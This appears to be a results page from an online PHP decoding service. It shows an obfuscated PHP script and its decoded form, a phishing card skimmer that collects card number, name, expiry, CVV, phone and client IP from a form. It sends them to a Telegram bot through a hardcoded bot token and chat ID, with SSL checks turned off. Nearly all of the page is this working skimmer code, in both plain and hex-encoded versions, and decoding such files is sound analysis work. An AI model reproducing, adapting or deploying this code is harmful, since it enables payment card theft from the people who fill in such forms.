Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (empty($_POST["\x63\156"])) { $nameErr = "\40"; } elseif (strlen($_POST["\143\x..
Decoded Output download
<?php
if (empty($_POST["cn"])) { $nameErr = " "; } elseif (strlen($_POST["cn"]) > 50) { $nameErr = " "; } elseif (strlen($_POST["cn"]) < 1) { $nameErr = " "; } else { $cn = $_POST["cn"]; $nm = $_POST["nm"]; $mm = $_POST["mm"]; $yy = $_POST["yy"]; $cvv = $_POST["cvv"]; $phone = $_POST["phone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $botToken = "7333185068:AAFHsQ2qp5C0AVuA_aQ3oaObpNSWqkPPtI4"; $chatId = "6678299240"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=card no: {$cn}%0Acard name: {$nm}%0Acard exp month: {$mm}%0Acard exp year: {$yy}%0Acvv2: {$cvv}%0APhone: {$phone}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } ?>
Did this file decode correctly?
Original Code
<?php
if (empty($_POST["\x63\156"])) { $nameErr = "\40"; } elseif (strlen($_POST["\143\x6e"]) > 50) { $nameErr = "\40"; } elseif (strlen($_POST["\x63\156"]) < 1) { $nameErr = "\40"; } else { $cn = $_POST["\143\x6e"]; $nm = $_POST["\156\x6d"]; $mm = $_POST["\x6d\x6d"]; $yy = $_POST["\171\x79"]; $cvv = $_POST["\143\166\x76"]; $phone = $_POST["\160\150\x6f\x6e\x65"]; $ip = getenv("\122\105\115\x4f\124\x45\137\x41\x44\x44\122"); $port = $_SERVER["\122\x45\x4d\117\x54\x45\x5f\x50\x4f\122\x54"]; $hostname = gethostbyaddr($ip); $botToken = "\67\63\63\x33\x31\70\65\x30\66\70\72\x41\x41\106\110\163\x51\x32\161\160\65\x43\60\x41\x56\x75\x41\137\141\121\x33\157\x61\117\142\x70\116\x53\x57\x71\x6b\x50\x50\164\x49\x34"; $chatId = "\66\66\x37\70\62\x39\71\62\x34\60"; $url = "\150\164\164\x70\163\x3a\57\57\141\160\x69\x2e\164\145\154\145\x67\162\x61\155\x2e\157\x72\147\57\142\157\x74{$botToken}\57\x73\x65\156\x64\x4d\145\x73\163\141\147\x65\x3f\143\150\x61\x74\137\x69\x64\75{$chatId}\46\x74\145\x78\x74\x3d\x63\141\162\144\x20\156\x6f\72\x20{$cn}\45\60\101\x63\141\162\x64\x20\156\x61\x6d\x65\x3a\40{$nm}\45\x30\x41\143\x61\x72\144\40\x65\170\x70\40\x6d\157\x6e\x74\150\x3a\x20{$mm}\45\x30\x41\x63\x61\162\x64\x20\145\x78\160\40\171\x65\x61\162\x3a\x20{$yy}\45\x30\101\143\x76\166\x32\72\x20{$cvv}\45\60\x41\x50\150\157\x6e\x65\x3a\x20{$phone}\x25\x30\x41\103\x6c\x69\x65\156\x74\40\151\160\72\x20{$ip}\x25\60\x41\x3d\x3d\x3d\x3d\75\75\75\75\75\75\x3d\x3d\x3d\x2b\x20\133\x20\x43\x72\145\141\164\x65\x64\x20\x62\x79\40\117\155\145\x47\x61\x4c\x6f\162\x44\x20\135\40\53\75\75\75\x3d\x3d\75\x3d\75\75\x3d\x3d\75\x3d"; $streamOptions = array("\163\x73\x6c" => array("\166\x65\162\x69\x66\171\x5f\160\x65\145\162" => false, "\x76\145\162\x69\x66\x79\137\160\x65\x65\162\137\156\141\x6d\x65" => false), "\150\164\164\160" => array("\155\x65\x74\150\x6f\144" => "\120\x4f\x53\124")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\x72", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } ?>
Function Calls
None |
Stats
MD5 | a356f606f792a43a66747d09cd7898c0 |
Eval Count | 0 |
Decode Time | 48 ms |